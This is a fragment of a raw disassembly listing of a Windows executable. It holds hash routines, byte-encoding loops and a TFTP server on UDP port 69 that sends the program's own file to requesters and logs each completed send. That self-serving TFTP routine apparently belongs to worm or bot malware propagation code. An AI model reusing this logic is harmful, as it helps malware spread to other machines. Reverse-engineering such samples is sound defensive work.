		mov	ecx, [esp+170h+var_BC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_100]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_FC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_100]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_FC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C8]
		adc	edx, [esp+170h+var_C4]
		add	ecx, [esp+170h+var_E0]
		adc	edx, [esp+170h+var_DC]
		mov	[eax+0C8h], ecx
		mov	[eax+0CCh], edx
		mov	eax, edx
		mov	[esp+170h+var_E0], ecx
		mov	[esp+170h+var_DC], eax
		mov	[esp+170h+var_10], ecx
		jmp	short loc_4078BF
; ---------------------------------------------------------------------------

loc_4078AA:				; CODE XREF: sub_405390+2429j
		mov	edx, [esp+170h+var_E0]
		mov	eax, [esp+170h+var_DC]
		mov	[esp+170h+var_10], edx

loc_4078BF:				; CODE XREF: sub_405390+2518j
		mov	ecx, [esp+170h+var_12C]
		mov	ebx, ecx
		mov	[esp+170h+var_C], eax
		mov	eax, [esp+170h+var_130]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_12C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_128]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_12C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_124]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_154]
		not	ebx
		and	ebx, [esp+170h+var_11C]
		not	edi
		and	edi, [esp+170h+var_120]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_4206B8[eax*8]
		adc	esi, ds:dword_4206BC[eax*8]
		add	edx, [esp+170h+var_10]
		mov	eax, [esp+170h+var_158]
		adc	esi, [esp+170h+var_C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_138], eax
		mov	[esp+170h+var_154], ecx
		mov	[esp+170h+var_158], eax
		adc	[esp+170h+var_134], ecx
		mov	ecx, [esp+170h+var_150]
		mov	eax, [esp+170h+var_14C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_150]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		mov	ebx, ecx
		and	ecx, edx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		mov	ebp, eax
		xor	ebp, [esp+170h+var_13C]
		mov	edx, ecx
		and	ebp, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_13C]
		and	eax, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_158], edi
		mov	edi, [esp+170h+var_15C]
		adc	[esp+170h+var_154], esi
		add	edi, 10h
		cmp	edi, 50h
		mov	[esp+170h+var_15C], edi
		jb	loc_405520
		mov	eax, [esp+170h+var_4]
		mov	edx, [esp+170h+var_158]
		add	[eax], edx
		mov	edx, [esp+170h+var_154]
		pop	edi
		adc	[eax+4], edx
		mov	eax, [esp+16Ch+arg_0]
		mov	edx, [esp+16Ch+var_150]
		add	[eax+18h], edx
		mov	edx, [esp+16Ch+var_14C]
		pop	esi
		adc	[eax+1Ch], edx
		mov	edx, [esp+168h+var_148]
		add	[eax+20h], edx
		mov	edx, [esp+168h+var_144]
		pop	ebp
		adc	[eax+24h], edx
		mov	edx, [esp+164h+var_140]
		add	[eax+28h], edx
		mov	edx, [esp+164h+var_134]
		pop	ebx
		adc	[eax+2Ch], ecx
		mov	ecx, [esp+160h+var_138]
		add	[eax+30h], ecx
		mov	ecx, [esp+160h+var_130]
		adc	[eax+34h], edx
		add	[eax+38h], ecx
		mov	edx, [esp+160h+var_12C]
		mov	ecx, [esp+160h+var_128]
		adc	[eax+3Ch], edx
		add	[eax+40h], ecx
		mov	edx, [esp+160h+var_124]
		mov	ecx, [esp+160h+var_120]
		adc	[eax+44h], edx
		add	[eax+48h], ecx
		mov	edx, [esp+160h+var_11C]
		adc	[eax+4Ch], edx
		add	esp, 160h
		retn
sub_405390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407AA0	proc near		; CODE XREF: sub_402E6D+BCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebx
		mov	ebx, [esp+10h+arg_4]
		mov	eax, [ebx]
		push	ebp
		mov	ebp, [esp+14h+arg_0]
		push	esi
		push	edi
		and	eax, 7Fh
		mov	edi, 80h
		sub	edi, eax
		mov	esi, ecx
		xor	ecx, ecx
		add	[ebx], ebp
		adc	[ebx+4], ecx
		mov	edx, [ebx+4]
		cmp	edx, ecx
		ja	short loc_407ADB
		jb	short loc_407AD3
		mov	ecx, [ebx]
		cmp	ecx, ebp
		jnb	short loc_407ADB

loc_407AD3:				; CODE XREF: sub_407AA0+2Bj
		add	dword ptr [ebx+8], 1
		adc	dword ptr [ebx+0Ch], 0

loc_407ADB:				; CODE XREF: sub_407AA0+29j
					; sub_407AA0+31j
		cmp	ebp, edi
		jb	loc_407B7F

loc_407AE3:				; CODE XREF: sub_407AA0+D9j
		push	edi
		lea	edx, [ebx+eax+50h]
		push	esi
		push	edx
		call	sub_40D820
		add	esi, edi
		add	esp, 0Ch
		sub	ebp, edi
		mov	[esp+1Ch+var_4], esi
		mov	[esp+1Ch+arg_0], ebp
		mov	edi, 80h
		mov	[esp+1Ch+var_8], 0
		mov	esi, 10h
		lea	edx, [ebx+0D0h]

loc_407B16:				; CODE XREF: sub_407AA0+BCj
		mov	eax, [edx-8]
		mov	ecx, [edx-4]
		sub	edx, 8
		mov	ebx, eax
		sub	esi, 1
		ror	ebx, 8
		and	ebx, 0FF00FF00h
		rol	eax, 8
		and	eax, 0FF00FFh
		or	ebx, eax
		mov	ebp, ecx
		xor	eax, eax
		ror	ebp, 8
		and	ebp, 0FF00FF00h
		rol	ecx, 8
		and	ecx, 0FF00FFh
		or	ebp, ecx
		xor	ecx, ecx
		or	eax, ebp
		or	ebx, ecx
		test	esi, esi
		mov	[edx], eax
		mov	[edx+4], ebx
		jnz	short loc_407B16
		mov	ebx, [esp+1Ch+arg_4]
		push	ebx
		call	sub_405390
		mov	ebp, [esp+20h+arg_0]
		mov	eax, [esp+20h+var_8]
		mov	esi, [esp+20h+var_4]
		add	esp, 4
		cmp	ebp, edi
		jnb	loc_407AE3

loc_407B7F:				; CODE XREF: sub_407AA0+3Dj
		push	ebp
		lea	edx, [eax+ebx+50h]
		push	esi
		push	edx
		call	sub_40D820
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_407AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407BA0	proc near		; CODE XREF: sub_402E6D+E4p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	ecx, [ebx]
		push	ebp
		and	ecx, 7Fh
		push	esi
		lea	esi, [ecx+7]
		shr	esi, 3
		push	edi
		mov	[esp+10h+var_4], ecx
		jz	short loc_407C05
		lea	edx, [ebx+esi*8+50h]

loc_407BB9:				; CODE XREF: sub_407BA0+5Fj
		mov	eax, [edx-8]
		mov	ecx, [edx-4]
		sub	edx, 8
		mov	edi, eax
		sub	esi, 1
		ror	edi, 8
		and	edi, 0FF00FF00h
		rol	eax, 8
		and	eax, 0FF00FFh
		or	edi, eax
		mov	ebp, ecx
		xor	eax, eax
		ror	ebp, 8
		and	ebp, 0FF00FF00h
		rol	ecx, 8
		and	ecx, 0FF00FFh
		or	ebp, ecx
		xor	ecx, ecx
		or	eax, ebp
		or	edi, ecx
		test	esi, esi
		mov	[edx], eax
		mov	[edx+4], edi
		jnz	short loc_407BB9
		mov	ecx, [esp+10h+var_4]

loc_407C05:				; CODE XREF: sub_407BA0+13j
		mov	eax, ecx
		and	eax, 7
		add	eax, eax
		add	eax, eax
		mov	esi, dword_424AD0[eax+eax]
		mov	edi, dword_424AD4[eax+eax]
		add	eax, eax
		mov	edx, ecx
		shr	edx, 3
		and	esi, [ebx+edx*8+50h]
		and	edi, [ebx+edx*8+54h]
		or	esi, dword_424B10[eax]
		or	edi, dword_424B14[eax]
		cmp	ecx, 6Fh
		mov	[ebx+edx*8+50h], esi
		mov	[ebx+edx*8+54h], edi
		jbe	short loc_407C6A
		cmp	ecx, 78h
		jnb	short loc_407C5D
		mov	dword ptr [ebx+0C8h], 0
		mov	dword ptr [ebx+0CCh], 0

loc_407C5D:				; CODE XREF: sub_407BA0+A7j
		push	ebx
		call	sub_405390
		add	esp, 4
		xor	edx, edx
		jmp	short loc_407C72
; ---------------------------------------------------------------------------

loc_407C6A:				; CODE XREF: sub_407BA0+A2j
		add	edx, 1
		cmp	edx, 0Eh
		jnb	short loc_407C98

loc_407C72:				; CODE XREF: sub_407BA0+C8j
		mov	ecx, 0Dh
		sub	ecx, edx
		add	ecx, ecx
		add	ecx, ecx
		lea	esi, [ebx+edx*8+50h]
		add	ecx, ecx
		shr	ecx, 2
		lea	edi, [esi+8]
		mov	dword ptr [esi], 0
		mov	dword ptr [esi+4], 0
		rep movsd

loc_407C98:				; CODE XREF: sub_407BA0+D0j
		mov	edx, [ebx+8]
		mov	esi, [ebx+0Ch]
		mov	ecx, [ebx+4]
		mov	eax, [ebx]
		shld	esi, edx, 3
		add	edx, edx
		mov	edi, ecx
		shld	ecx, eax, 3
		add	edx, edx
		add	eax, eax
		add	edx, edx
		add	eax, eax
		shr	edi, 1Dh
		xor	ebp, ebp
		or	edx, edi
		add	eax, eax
		or	esi, ebp
		push	ebx
		mov	[ebx+0C0h], edx
		mov	[ebx+0C4h], esi
		mov	[ebx+0C8h], eax
		mov	[ebx+0CCh], ecx
		call	sub_405390
		add	esp, 4
		xor	esi, esi

loc_407CE5:				; CODE XREF: sub_407BA0+171j
		mov	ecx, esi
		not	ecx
		and	ecx, 7
		mov	edx, esi
		shr	edx, 3
		mov	eax, [ebx+edx*8+10h]
		mov	edx, [ebx+edx*8+14h]
		add	ecx, ecx
		add	ecx, ecx
		add	ecx, ecx
		call	sub_41B3F0
		mov	ecx, [esp+10h+arg_0]
		mov	[esi+ecx], al
		add	esi, 1
		cmp	esi, 40h
		jb	short loc_407CE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ecx
		retn
sub_407BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D18	proc near		; CODE XREF: sub_408CC5+268p
					; .text:004096C8p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, eax
		call	sub_40C500
		mov	esi, eax
		add	esi, 0CCh
		cmp	esi, 172h
		pop	ecx
		jg	short loc_407D70
		push	esi
		push	0
		push	edi
		call	sub_40C6F0
		push	0CBh
		push	offset dword_4249E0
		push	edi
		call	sub_40D820
		push	[esp+20h+arg_0]
		call	sub_40C500
		push	eax
		push	[esp+28h+arg_0]
		add	edi, 0CAh
		push	edi
		call	sub_40D820
		add	esp, 28h
		mov	eax, esi
		jmp	short loc_407D72
; ---------------------------------------------------------------------------

loc_407D70:				; CODE XREF: sub_407D18+1Cj
		xor	eax, eax

loc_407D72:				; CODE XREF: sub_407D18+56j
		pop	edi
		pop	esi
		retn
sub_407D18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D75	proc near		; CODE XREF: sub_408CC5+292p
					; sub_408CC5+2B1p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 1
		push	ebx
		push	edi
		mov	bl, 1
		mov	[ebp+var_1], 0
		jnz	loc_407E7E
		mov	eax, [ebp+arg_8]
		lea	edi, [eax+18h]
		and	eax, 80000001h
		mov	[ebp+var_8], edi
		jns	short loc_407DA2
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax

loc_407DA2:				; CODE XREF: sub_407D75+26j
		jz	short loc_407DA8
		mov	[ebp+var_1], 1

loc_407DA8:				; CODE XREF: sub_407D75:loc_407DA2j
		mov	eax, 172h
		cmp	edi, eax
		jle	short loc_407DBB
		cmp	[ebp+var_1], 1
		jnz	loc_407F5A

loc_407DBB:				; CODE XREF: sub_407D75+3Aj
		lea	ecx, [edi+1]
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jle	short loc_407DD5
		cmp	[ebp+var_1], 1
		jnz	short loc_407DD5
		jmp	loc_407F5A
; ---------------------------------------------------------------------------

loc_407DD0:				; CODE XREF: sub_407D75+DCj
		mov	eax, 172h

loc_407DD5:				; CODE XREF: sub_407D75+4Ej
					; sub_407D75+54j
		push	eax
		xor	edi, edi
		push	edi
		push	esi
		inc	bl
		call	sub_40C6F0
		push	18h
		push	offset dword_4249A8
		push	esi
		call	sub_40D820
		add	esp, 18h
		cmp	[ebp+arg_8], edi
		mov	[esi+0Eh], bl
		mov	[esi+12h], bl
		jle	short loc_407E0E

loc_407DFC:				; CODE XREF: sub_407D75+97j
		mov	eax, [ebp+arg_4]
		mov	al, [edi+eax]
		add	al, bl
		mov	[esi+edi+18h], al
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_407DFC

loc_407E0E:				; CODE XREF: sub_407D75+85j
		cmp	[ebp+var_1], 1
		jnz	short loc_407E18
		mov	[edi+esi+18h], bl

loc_407E18:				; CODE XREF: sub_407D75+9Dj
		xor	edi, edi
		cmp	[ebp+var_8], edi
		mov	byte ptr [ebp+arg_0+3],	1
		jle	short loc_407E5C

loc_407E23:				; CODE XREF: sub_407D75+D1j
		mov	cl, [edi+esi]
		xor	edx, edx

loc_407E28:				; CODE XREF: sub_407D75+BFj
		mov	eax, [ebp+arg_C]
		cmp	cl, [edx+eax]
		jz	short loc_407E38
		inc	edx
		cmp	edx, 8
		jl	short loc_407E28
		jmp	short loc_407E3C
; ---------------------------------------------------------------------------

loc_407E38:				; CODE XREF: sub_407D75+B9j
		mov	byte ptr [ebp+arg_0+3],	0

loc_407E3C:				; CODE XREF: sub_407D75+C1j
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_407E48
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_407E23

loc_407E48:				; CODE XREF: sub_407D75+CBj
		cmp	byte ptr [ebp+arg_0+3],	1
		jz	short loc_407E5C
		cmp	bl, 0FFh
		jb	loc_407DD0
		jmp	loc_407F5A
; ---------------------------------------------------------------------------

loc_407E5C:				; CODE XREF: sub_407D75+ACj
					; sub_407D75+D7j ...
		cmp	[ebp+var_1], 1
		jnz	short loc_407E6B
		mov	eax, [ebp+var_C]
		inc	[ebp+arg_8]
		mov	[ebp+var_8], eax

loc_407E6B:				; CODE XREF: sub_407D75+EBj
		mov	eax, [ebp+arg_8]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[esi+3], al
		mov	eax, [ebp+var_8]
		jmp	loc_407F5C
; ---------------------------------------------------------------------------

loc_407E7E:				; CODE XREF: sub_407D75+12j
		cmp	[ebp+arg_0], 2
		jnz	loc_407F5A
		mov	eax, [ebp+arg_8]
		lea	edi, [eax+18h]
		and	eax, 80000001h
		mov	[ebp+var_8], edi
		jns	short loc_407E9D
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax

loc_407E9D:				; CODE XREF: sub_407D75+121j
		jz	short loc_407EA3
		mov	[ebp+var_1], 1

loc_407EA3:				; CODE XREF: sub_407D75:loc_407E9Dj
		mov	eax, 172h
		cmp	edi, eax
		jle	short loc_407EB6
		cmp	[ebp+var_1], 1
		jnz	loc_407F5A

loc_407EB6:				; CODE XREF: sub_407D75+135j
		lea	ecx, [edi+1]
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jle	short loc_407ED0
		cmp	[ebp+var_1], 1
		jnz	short loc_407ED0
		jmp	loc_407F5A
; ---------------------------------------------------------------------------

loc_407ECB:				; CODE XREF: sub_407D75+1DFj
		mov	eax, 172h

loc_407ED0:				; CODE XREF: sub_407D75+149j
					; sub_407D75+14Fj
		push	eax
		xor	edi, edi
		push	edi
		push	esi
		inc	bl
		call	sub_40C6F0
		push	18h
		push	offset dword_4249C4
		push	esi
		call	sub_40D820
		add	esp, 18h
		cmp	[ebp+arg_8], edi
		mov	[esi+0Eh], bl
		mov	[esi+12h], bl
		jle	short loc_407F09

loc_407EF7:				; CODE XREF: sub_407D75+192j
		mov	eax, [ebp+arg_4]
		mov	al, [edi+eax]
		xor	al, bl
		mov	[esi+edi+18h], al
		inc	edi
		cmp	edi, [ebp+arg_8]
		jl	short loc_407EF7

loc_407F09:				; CODE XREF: sub_407D75+180j
		cmp	[ebp+var_1], 1
		jnz	short loc_407F13
		mov	[edi+esi+18h], bl

loc_407F13:				; CODE XREF: sub_407D75+198j
		xor	edi, edi
		cmp	[ebp+var_8], edi
		mov	byte ptr [ebp+arg_0+3],	1
		jle	loc_407E5C

loc_407F22:				; CODE XREF: sub_407D75+1D0j
		mov	cl, [edi+esi]
		xor	edx, edx

loc_407F27:				; CODE XREF: sub_407D75+1BEj
		mov	eax, [ebp+arg_C]
		cmp	cl, [edx+eax]
		jz	short loc_407F37
		inc	edx
		cmp	edx, 8
		jl	short loc_407F27
		jmp	short loc_407F3B
; ---------------------------------------------------------------------------

loc_407F37:				; CODE XREF: sub_407D75+1B8j
		mov	byte ptr [ebp+arg_0+3],	0

loc_407F3B:				; CODE XREF: sub_407D75+1C0j
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_407F47
		inc	edi
		cmp	edi, [ebp+var_8]
		jl	short loc_407F22

loc_407F47:				; CODE XREF: sub_407D75+1CAj
		cmp	byte ptr [ebp+arg_0+3],	1
		jz	loc_407E5C
		cmp	bl, 0FFh
		jb	loc_407ECB

loc_407F5A:				; CODE XREF: sub_407D75+40j
					; sub_407D75+56j ...
		xor	eax, eax

loc_407F5C:				; CODE XREF: sub_407D75+104j
		pop	edi
		pop	ebx
		leave
		retn
sub_407D75	endp


; =============== S U B	R O U T	I N E =======================================



sub_407F60	proc near		; CODE XREF: sub_4049E1+3D0p
					; .text:00409E28p
		push	4
		mov	eax, offset loc_41D694
		call	sub_40E5CD
		xor	ebx, ebx
		cmp	byte_4338BD, bl
		jz	short loc_407F7A

loc_407F76:				; CODE XREF: sub_407F60+74j
		mov	al, 1
		jmp	short loc_407FDE
; ---------------------------------------------------------------------------

loc_407F7A:				; CODE XREF: sub_407F60+14j
		mov	edi, 100h
		push	edi
		push	ebx
		mov	esi, offset dword_426A68
		push	esi
		call	sub_40C6F0
		add	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		call	ds:dword_41E0CC	; GetModuleHandleA
		push	eax
		call	ds:dword_41E0B4	; GetModuleFileNameA
		push	8
		call	loc_40CC1A
		mov	esi, eax
		pop	ecx
		mov	[ebp-10h], esi
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_407FC6
		push	offset sub_4081DD
		xor	ecx, ecx
		mov	edi, offset byte_4202A1
		call	sub_408395
		jmp	short loc_407FC8
; ---------------------------------------------------------------------------

loc_407FC6:				; CODE XREF: sub_407F60+51j
		xor	eax, eax

loc_407FC8:				; CODE XREF: sub_407F60+64j
		cmp	[eax+4], ebx
		jz	short loc_407FD6
		mov	byte_4338BD, 1
		jmp	short loc_407F76
; ---------------------------------------------------------------------------

loc_407FD6:				; CODE XREF: sub_407F60+6Bj
		mov	byte_4338BD, bl
		xor	al, al

loc_407FDE:				; CODE XREF: sub_407F60+18j
		call	sub_40E66C
		retn
sub_407F60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FE4	proc near		; DATA XREF: sub_4081DD+170o

var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= word ptr -224h
var_222		= word ptr -222h
var_220		= byte ptr -220h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_8], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_40800A

loc_408003:				; CODE XREF: sub_407FE4+3Ej
					; sub_407FE4+59j ...
		push	ebx
		call	ds:off_41E07C

loc_40800A:				; CODE XREF: sub_407FE4+1Dj
		lea	edi, [ebp+var_18]
		movsd
		movsd
		push	11h
		movsd
		push	2
		push	2
		movsd
		call	ds:dword_41E240	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_408003
		push	offset dword_420DC0
		push	offset dword_426A68
		call	sub_40CF87
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+var_228], eax
		jz	short loc_408003
		push	eax
		mov	[ebp+var_22C], ebx
		mov	[ebp+var_238], 10h
		call	sub_40DB85
		test	eax, eax
		pop	ecx
		jnz	loc_40814E
		mov	esi, ds:dword_41E238

loc_408064:				; CODE XREF: sub_407FE4+164j
		push	204h
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		call	sub_40C6F0
		push	4
		lea	eax, [ebp+var_234]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 18h
		inc	[ebp+var_22C]
		push	[ebp+var_22C]
		call	esi	; htons
		push	3
		mov	[ebp+var_222], ax
		call	esi	; htons
		push	[ebp+var_228]
		mov	[ebp+var_224], ax
		push	200h
		lea	eax, [ebp+var_220]
		push	1
		push	eax
		call	sub_40DE11
		add	esp, 10h
		push	10h
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		push	edi
		call	ds:dword_41E260	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4081C5
		lea	eax, [ebp+var_238]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		push	4
		lea	eax, [ebp+var_234]
		push	eax
		push	edi
		call	ds:dword_41E270	; recvfrom
		cmp	eax, 0FFFFFFFFh
		jz	loc_4081C5
		push	[ebp+var_234]
		call	ds:dword_41E268	; htons
		cmp	ax, 4
		jnz	loc_4081C5
		push	[ebp+var_234+2]
		call	ds:dword_41E268	; htons
		cmp	ax, word ptr [ebp+var_22C]
		jnz	loc_4081C5
		push	[ebp+var_228]
		call	sub_40DB85
		test	eax, eax
		pop	ecx
		jz	loc_408064

loc_40814E:				; CODE XREF: sub_407FE4+74j
		inc	dword_4338C4
		push	100h
		call	sub_40AA82
		mov	esi, eax
		push	esi
		call	sub_40C58B
		push	eax
		mov	ebx, offset asc_424FE0 ; "±±ÆÀÔÙ"
		call	sub_401ACE
		add	esp, 0Ch
		push	dword_4338C4
		push	[ebp+var_14]
		call	ds:dword_41E274	; inet_ntoa
		push	eax
		push	offset aTftpSendComple ; "TFTP:	Send Complete To %s. %d	Total Sen"...
		push	esi
		push	0
		push	offset dword_426A3C
		call	sub_403DB4
		push	esi
		call	sub_40C76A
		add	esp, 1Ch
		push	edi
		call	ds:dword_41E244	; closesocket
		push	[ebp+var_228]
		call	sub_40D257
		pop	ecx
		mov	ecx, [ebp+var_8]
		pop	edi
		pop	esi
		xor	ecx, ebp
		xor	eax, eax
		pop	ebx
		call	sub_40AB4A
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_4081C5:				; CODE XREF: sub_407FE4+FCj
					; sub_407FE4+121j ...
		push	edi
		call	ds:dword_41E244	; closesocket
		push	[ebp+var_228]
		call	sub_40D257
		pop	ecx
		jmp	loc_408003
sub_407FE4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081DD	proc near		; DATA XREF: sub_407F60+53o

var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= byte ptr -138h
var_134		= dword	ptr -134h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 148h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+148h+var_4], eax
		push	ebx
		push	edi
		push	11h
		xor	edi, edi
		push	2
		inc	edi
		push	2
		mov	[esp+15Ch+var_140], edi
		call	ds:dword_41E240	; socket
		cmp	eax, 0FFFFFFFFh
		mov	dword_426A64, eax
		jnz	short loc_408225
		xor	ebx, ebx

loc_408218:				; CODE XREF: sub_4081DD+CAj
		mov	byte_4338BD, bl

loc_40821E:				; CODE XREF: sub_4081DD+C4j
		push	ebx
		call	ds:off_41E07C

loc_408225:				; CODE XREF: sub_4081DD+37j
		push	4
		lea	ecx, [esp+154h+var_140]
		push	ecx
		push	4
		push	0FFFFh
		push	eax
		call	ds:dword_41E264	; setsockopt
		push	10h
		xor	ebx, ebx
		lea	eax, [esp+154h+var_14]
		push	ebx
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		push	45h
		mov	[esp+154h+var_14], 2
		call	ds:dword_41E238	; htons
		mov	[esp+150h+var_12], ax
		push	10h
		lea	eax, [esp+154h+var_14]
		push	eax
		push	dword_426A64
		mov	[esp+15Ch+var_10], ebx
		call	ds:dword_41E250	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_408365
		push	dword_426A64
		call	ds:dword_41E244	; closesocket
		cmp	byte_4338BD, bl
		jz	loc_40821E
		jmp	loc_408218
; ---------------------------------------------------------------------------

loc_4082AC:				; CODE XREF: sub_4081DD+18Ej
		mov	eax, dword_426A64
		push	8
		mov	[esp+154h+var_11C], eax
		lea	eax, [esp+154h+var_148]
		push	ebx
		push	eax
		mov	[esp+15Ch+var_120], edi
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+150h+var_148]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [esp+15Ch+var_120]
		push	eax
		push	ebx
		mov	[esp+164h+var_148], 5
		mov	[esp+164h+var_144], ebx
		call	ds:dword_41E26C	; select
		test	eax, eax
		jle	short loc_408365
		push	14h
		lea	eax, [esp+154h+var_134]
		push	ebx
		push	eax
		mov	[esp+15Ch+var_13C], 10h
		call	sub_40C6F0
		add	esp, 0Ch
		lea	eax, [esp+150h+var_13C]
		push	eax
		lea	eax, [esp+154h+var_14]
		push	eax
		push	ebx
		push	14h
		lea	eax, [esp+160h+var_134]
		push	eax
		push	dword_426A64
		call	ds:dword_41E270	; recvfrom
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408365
		push	[esp+150h+var_134]
		inc	dword_4338C0
		call	ds:dword_41E268	; htons
		cmp	ax, di
		jnz	short loc_408365
		lea	eax, [esp+150h+var_138]
		push	eax
		push	ebx
		lea	eax, [esp+158h+var_14]
		push	eax
		push	offset sub_407FE4
		push	ebx
		push	ebx
		call	ds:off_41E080
		push	3E8h
		call	ds:off_41E0E0

loc_408365:				; CODE XREF: sub_4081DD+ACj
					; sub_4081DD+10Dj ...
		cmp	byte_4338BD, bl
		jnz	loc_4082AC
		push	dword_426A64
		call	ds:dword_41E244	; closesocket
		mov	ecx, [esp+150h+var_4]
		pop	edi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AB4A
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4081DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


